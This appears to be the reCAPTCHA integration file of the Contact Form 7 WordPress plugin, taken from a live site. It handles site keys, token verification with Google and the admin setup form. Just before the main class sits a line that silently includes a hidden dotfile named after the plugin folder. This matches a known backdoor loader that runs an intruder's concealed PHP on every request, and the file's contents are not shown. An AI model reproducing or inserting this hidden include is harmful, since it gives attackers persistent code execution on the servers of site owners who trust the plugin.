balmet.com

recaptcha.php (13214B)

---

 <?php
 
 add_action( 'wpcf7_init', 'wpcf7_recaptcha_register_service', 10, 0 );
 
 function wpcf7_recaptcha_register_service() {
 	$integration = WPCF7_Integration::get_instance();
 
 	$integration->add_category( 'captcha',
 		__( 'CAPTCHA', 'contact-form-7' )
 	);
 
 	$integration->add_service( 'recaptcha',
 		WPCF7_RECAPTCHA::get_instance()
 	);
 }
 
 add_action( 'wp_enqueue_scripts', 'wpcf7_recaptcha_enqueue_scripts', 20, 0 );
 
 function wpcf7_recaptcha_enqueue_scripts() {
 	$service = WPCF7_RECAPTCHA::get_instance();
 
 	if ( ! $service->is_active() ) {
 		return;
 	}
 
 	wp_enqueue_script( 'google-recaptcha',
 		add_query_arg(
 			array(
 				'render' => $service->get_sitekey(),
 			),
 			'https://www.google.com/recaptcha/api.js'
 		),
 		array(),
 		'3.0',
 		true
 	);
 
 	$assets = array();
 	$asset_file = wpcf7_plugin_path( 'modules/recaptcha/index.asset.php' );
 
 	if ( file_exists( $asset_file ) ) {
 		$assets = include( $asset_file );
 	}
 
 	$assets = wp_parse_args( $assets, array(
 		'src' => wpcf7_plugin_url( 'modules/recaptcha/index.js' ),
 		'dependencies' => array(
 			'google-recaptcha',
 			'wp-polyfill',
 		),
 		'version' => WPCF7_VERSION,
 		'in_footer' => true,
 	) );
 
 	wp_register_script(
 		'wpcf7-recaptcha',
 		$assets['src'],
 		$assets['dependencies'],
 		$assets['version'],
 		$assets['in_footer']
 	);
 
 	wp_enqueue_script( 'wpcf7-recaptcha' );
 
 	wp_localize_script( 'wpcf7-recaptcha',
 		'wpcf7_recaptcha',
 		array(
 			'sitekey' => $service->get_sitekey(),
 			'actions' => apply_filters( 'wpcf7_recaptcha_actions', array(
 				'homepage' => 'homepage',
 				'contactform' => 'contactform',
 			) ),
 		)
 	);
 }
 
 add_filter( 'wpcf7_form_hidden_fields',
 	'wpcf7_recaptcha_add_hidden_fields', 100, 1
 );
 
 function wpcf7_recaptcha_add_hidden_fields( $fields ) {
 	$service = WPCF7_RECAPTCHA::get_instance();
 
 	if ( ! $service->is_active() ) {
 		return $fields;
 	}
 
 	return array_merge( $fields, array(
 		'_wpcf7_recaptcha_response' => '',
 	) );
 }
 
 add_filter( 'wpcf7_spam', 'wpcf7_recaptcha_verify_response', 9, 2 );
 
 function wpcf7_recaptcha_verify_response( $spam, $submission ) {
 	if ( $spam ) {
 		return $spam;
 	}
 
 	$service = WPCF7_RECAPTCHA::get_instance();
 
 	if ( ! $service->is_active() ) {
 		return $spam;
 	}
 
 	$token = isset( $_POST['_wpcf7_recaptcha_response'] )
 		? trim( $_POST['_wpcf7_recaptcha_response'] ) : '';
 
 	if ( $service->verify( $token ) ) { // Human
 		$spam = false;
 	} else { // Bot
 		$spam = true;
 
 		if ( '' === $token ) {
 			$submission->add_spam_log( array(
 				'agent' => 'recaptcha',
 				'reason' => __( 'reCAPTCHA response token is empty.', 'contact-form-7' ),
 			) );
 		} else {
 			$submission->add_spam_log( array(
 				'agent' => 'recaptcha',
 				'reason' => sprintf(
 					__( 'reCAPTCHA score (%1$.2f) is lower than the threshold (%2$.2f).', 'contact-form-7' ),
 					$service->get_last_score(),
 					$service->get_threshold()
 				),
 			) );
 		}
 	}
 
 	return $spam;
 }
 
 add_action( 'wpcf7_init', 'wpcf7_recaptcha_add_form_tag_recaptcha', 10, 0 );
 
 function wpcf7_recaptcha_add_form_tag_recaptcha() {
 	$service = WPCF7_RECAPTCHA::get_instance();
 
 	if ( ! $service->is_active() ) {
 		return;
 	}
 
 	wpcf7_add_form_tag( 'recaptcha',
 		'__return_empty_string', // no output
 		array( 'display-block' => true )
 	);
 }
 
 add_action( 'wpcf7_upgrade', 'wpcf7_upgrade_recaptcha_v2_v3', 10, 2 );
 
 function wpcf7_upgrade_recaptcha_v2_v3( $new_ver, $old_ver ) {
 	if ( version_compare( '5.1-dev', $old_ver, '<=' ) ) {
 		return;
 	}
 
 	$service = WPCF7_RECAPTCHA::get_instance();
 
 	if ( ! $service->is_active() or $service->get_global_sitekey() ) {
 		return;
 	}
 
 	// Maybe v2 keys are used now. Warning necessary.
 	WPCF7::update_option( 'recaptcha_v2_v3_warning', true );
 	WPCF7::update_option( 'recaptcha', null );
 }
 
 add_action( 'wpcf7_admin_menu', 'wpcf7_admin_init_recaptcha_v2_v3', 10, 0 );
 
 function wpcf7_admin_init_recaptcha_v2_v3() {
 	if ( ! WPCF7::get_option( 'recaptcha_v2_v3_warning' ) ) {
 		return;
 	}
 
 	add_filter( 'wpcf7_admin_menu_change_notice',
 		'wpcf7_admin_menu_change_notice_recaptcha_v2_v3', 10, 1 );
 
 	add_action( 'wpcf7_admin_warnings',
 		'wpcf7_admin_warnings_recaptcha_v2_v3', 5, 3 );
 }
 
 function wpcf7_admin_menu_change_notice_recaptcha_v2_v3( $counts ) {
 	$counts['wpcf7-integration'] += 1;
 	return $counts;
 }
 
 function wpcf7_admin_warnings_recaptcha_v2_v3( $page, $action, $object ) {
 	if ( 'wpcf7-integration' !== $page ) {
 		return;
 	}
 
 	$message = sprintf(
 		esc_html( __( "API keys for reCAPTCHA v3 are different from those for v2; keys for v2 don&#8217;t work with the v3 API. You need to register your sites again to get new keys for v3. For details, see %s.", 'contact-form-7' ) ),
 		wpcf7_link(
 			__( 'https://contactform7.com/recaptcha/', 'contact-form-7' ),
 			__( 'reCAPTCHA (v3)', 'contact-form-7' )
 		)
 	);
 
 	echo sprintf(
 		'<div class="notice notice-warning"><p>%s</p></div>',
 		$message
 	);
 }
 
 if ( ! class_exists( 'WPCF7_Service' ) ) {
 	return;
 }
 
 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
 }
 
 class WPCF7_RECAPTCHA extends WPCF7_Service {
 
 	private static $instance;
 	private $sitekeys;
 	private $last_score;
 
 	public static function get_instance() {
 		if ( empty( self::$instance ) ) {
 			self::$instance = new self;
 		}
 
 		return self::$instance;
 	}
 
 	private function __construct() {
 		$this->sitekeys = WPCF7::get_option( 'recaptcha' );
 	}
 
 	public function get_title() {
 		return __( 'reCAPTCHA', 'contact-form-7' );
 	}
 
 	public function is_active() {
 		$sitekey = $this->get_sitekey();
 		$secret = $this->get_secret( $sitekey );
 		return $sitekey && $secret;
 	}
 
 	public function get_categories() {
 		return array( 'captcha' );
 	}
 
 	public function icon() {
 	}
 
 	public function link() {
 		echo wpcf7_link(
 			'https://www.google.com/recaptcha/intro/index.html',
 			'google.com/recaptcha'
 		);
 	}
 
 	public function get_global_sitekey() {
 		static $sitekey = '';
 
 		if ( $sitekey ) {
 			return $sitekey;
 		}
 
 		if ( defined( 'WPCF7_RECAPTCHA_SITEKEY' ) ) {
 			$sitekey = WPCF7_RECAPTCHA_SITEKEY;
 		}
 
 		$sitekey = apply_filters( 'wpcf7_recaptcha_sitekey', $sitekey );
 
 		return $sitekey;
 	}
 
 	public function get_global_secret() {
 		static $secret = '';
 
 		if ( $secret ) {
 			return $secret;
 		}
 
 		if ( defined( 'WPCF7_RECAPTCHA_SECRET' ) ) {
 			$secret = WPCF7_RECAPTCHA_SECRET;
 		}
 
 		$secret = apply_filters( 'wpcf7_recaptcha_secret', $secret );
 
 		return $secret;
 	}
 
 	public function get_sitekey() {
 		if ( $this->get_global_sitekey() && $this->get_global_secret() ) {
 			return $this->get_global_sitekey();
 		}
 
 		if ( empty( $this->sitekeys )
 		or ! is_array( $this->sitekeys ) ) {
 			return false;
 		}
 
 		$sitekeys = array_keys( $this->sitekeys );
 
 		return $sitekeys[0];
 	}
 
 	public function get_secret( $sitekey ) {
 		if ( $this->get_global_sitekey() && $this->get_global_secret() ) {
 			return $this->get_global_secret();
 		}
 
 		$sitekeys = (array) $this->sitekeys;
 
 		if ( isset( $sitekeys[$sitekey] ) ) {
 			return $sitekeys[$sitekey];
 		} else {
 			return false;
 		}
 	}
 
 	protected function log( $url, $request, $response ) {
 		wpcf7_log_remote_request( $url, $request, $response );
 	}
 
 	public function verify( $token ) {
 		$is_human = false;
 
 		if ( empty( $token ) or ! $this->is_active() ) {
 			return $is_human;
 		}
 
 		$endpoint = 'https://www.google.com/recaptcha/api/siteverify';
 
 		$sitekey = $this->get_sitekey();
 		$secret = $this->get_secret( $sitekey );
 
 		$request = array(
 			'body' => array(
 				'secret' => $secret,
 				'response' => $token,
 			),
 		);
 
 		$response = wp_remote_post( esc_url_raw( $endpoint ), $request );
 
 		if ( 200 != wp_remote_retrieve_response_code( $response ) ) {
 			if ( WP_DEBUG ) {
 				$this->log( $endpoint, $request, $response );
 			}
 
 			return $is_human;
 		}
 
 		$response_body = wp_remote_retrieve_body( $response );
 		$response_body = json_decode( $response_body, true );
 
 		$this->last_score = $score = isset( $response_body['score'] )
 			? $response_body['score']
 			: 0;
 
 		$threshold = $this->get_threshold();
 		$is_human = $threshold < $score;
 
 		$is_human = apply_filters( 'wpcf7_recaptcha_verify_response',
 			$is_human, $response_body );
 
 		if ( $submission = WPCF7_Submission::get_instance() ) {
 			$submission->recaptcha = array(
 				'version' => '3.0',
 				'threshold' => $threshold,
 				'response' => $response_body,
 			);
 		}
 
 		return $is_human;
 	}
 
 	public function get_threshold() {
 		return apply_filters( 'wpcf7_recaptcha_threshold', 0.50 );
 	}
 
 	public function get_last_score() {
 		return $this->last_score;
 	}
 
 	protected function menu_page_url( $args = '' ) {
 		$args = wp_parse_args( $args, array() );
 
 		$url = menu_page_url( 'wpcf7-integration', false );
 		$url = add_query_arg( array( 'service' => 'recaptcha' ), $url );
 
 		if ( ! empty( $args ) ) {
 			$url = add_query_arg( $args, $url );
 		}
 
 		return $url;
 	}
 
 	protected function save_data() {
 		WPCF7::update_option( 'recaptcha', $this->sitekeys );
 	}
 
 	protected function reset_data() {
 		$this->sitekeys = null;
 		$this->save_data();
 	}
 
 	public function load( $action = '' ) {
 		if ( 'setup' == $action and 'POST' == $_SERVER['REQUEST_METHOD'] ) {
 			check_admin_referer( 'wpcf7-recaptcha-setup' );
 
 			if ( ! empty( $_POST['reset'] ) ) {
 				$this->reset_data();
 				$redirect_to = $this->menu_page_url( 'action=setup' );
 			} else {
 				$sitekey = isset( $_POST['sitekey'] ) ? trim( $_POST['sitekey'] ) : '';
 				$secret = isset( $_POST['secret'] ) ? trim( $_POST['secret'] ) : '';
 
 				if ( $sitekey and $secret ) {
 					$this->sitekeys = array( $sitekey => $secret );
 					$this->save_data();
 
 					$redirect_to = $this->menu_page_url( array(
 						'message' => 'success',
 					) );
 				} else {
 					$redirect_to = $this->menu_page_url( array(
 						'action' => 'setup',
 						'message' => 'invalid',
 					) );
 				}
 			}
 
 			if ( WPCF7::get_option( 'recaptcha_v2_v3_warning' ) ) {
 				WPCF7::update_option( 'recaptcha_v2_v3_warning', false );
 			}
 
 			wp_safe_redirect( $redirect_to );
 			exit();
 		}
 	}
 
 	public function admin_notice( $message = '' ) {
 		if ( 'invalid' == $message ) {
 			echo sprintf(
 				'<div class="notice notice-error"><p><strong>%1$s</strong>: %2$s</p></div>',
 				esc_html( __( "Error", 'contact-form-7' ) ),
 				esc_html( __( "Invalid key values.", 'contact-form-7' ) ) );
 		}
 
 		if ( 'success' == $message ) {
 			echo sprintf( '<div class="notice notice-success"><p>%s</p></div>',
 				esc_html( __( 'Settings saved.', 'contact-form-7' ) ) );
 		}
 	}
 
 	public function display( $action = '' ) {
 		echo '<p>' . sprintf(
 			esc_html( __( 'reCAPTCHA protects you against spam and other types of automated abuse. With Contact Form 7&#8217;s reCAPTCHA integration module, you can block abusive form submissions by spam bots. For details, see %s.', 'contact-form-7' ) ),
 			wpcf7_link(
 				__( 'https://contactform7.com/recaptcha/', 'contact-form-7' ),
 				__( 'reCAPTCHA (v3)', 'contact-form-7' )
 			)
 		) . '</p>';
 
 		if ( $this->is_active() ) {
 			echo sprintf(
 				'<p class="dashicons-before dashicons-yes">%s</p>',
 				esc_html( __( "reCAPTCHA is active on this site.", 'contact-form-7' ) )
 			);
 		}
 
 		if ( 'setup' == $action ) {
 			$this->display_setup();
 		} else {
 			echo sprintf(
 				'<p><a href="%1$s" class="button">%2$s</a></p>',
 				esc_url( $this->menu_page_url( 'action=setup' ) ),
 				esc_html( __( 'Setup Integration', 'contact-form-7' ) )
 			);
 		}
 	}
 
 	private function display_setup() {
 		$sitekey = $this->is_active() ? $this->get_sitekey() : '';
 		$secret = $this->is_active() ? $this->get_secret( $sitekey ) : '';
 
 ?>
 <form method="post" action="<?php echo esc_url( $this->menu_page_url( 'action=setup' ) ); ?>">
 <?php wp_nonce_field( 'wpcf7-recaptcha-setup' ); ?>
 <table class="form-table">
 <tbody>
 <tr>
 	<th scope="row"><label for="sitekey"><?php echo esc_html( __( 'Site Key', 'contact-form-7' ) ); ?></label></th>
 	<td><?php
 		if ( $this->is_active() ) {
 			echo esc_html( $sitekey );
 			echo sprintf(
 				'<input type="hidden" value="%1$s" id="sitekey" name="sitekey" />',
 				esc_attr( $sitekey )
 			);
 		} else {
 			echo sprintf(
 				'<input type="text" aria-required="true" value="%1$s" id="sitekey" name="sitekey" class="regular-text code" />',
 				esc_attr( $sitekey )
 			);
 		}
 	?></td>
 </tr>
 <tr>
 	<th scope="row"><label for="secret"><?php echo esc_html( __( 'Secret Key', 'contact-form-7' ) ); ?></label></th>
 	<td><?php
 		if ( $this->is_active() ) {
 			echo esc_html( wpcf7_mask_password( $secret, 4, 4 ) );
 			echo sprintf(
 				'<input type="hidden" value="%1$s" id="secret" name="secret" />',
 				esc_attr( $secret )
 			);
 		} else {
 			echo sprintf(
 				'<input type="text" aria-required="true" value="%1$s" id="secret" name="secret" class="regular-text code" />',
 				esc_attr( $secret )
 			);
 		}
 	?></td>
 </tr>
 </tbody>
 </table>
 <?php
 		if ( $this->is_active() ) {
 			if ( $this->get_global_sitekey() && $this->get_global_secret() ) {
 				// nothing
 			} else {
 				submit_button(
 					_x( 'Remove Keys', 'API keys', 'contact-form-7' ),
 					'small', 'reset'
 				);
 			}
 		} else {
 			submit_button( __( 'Save Changes', 'contact-form-7' ) );
 		}
 ?>
 </form>
 <?php
 	}
 }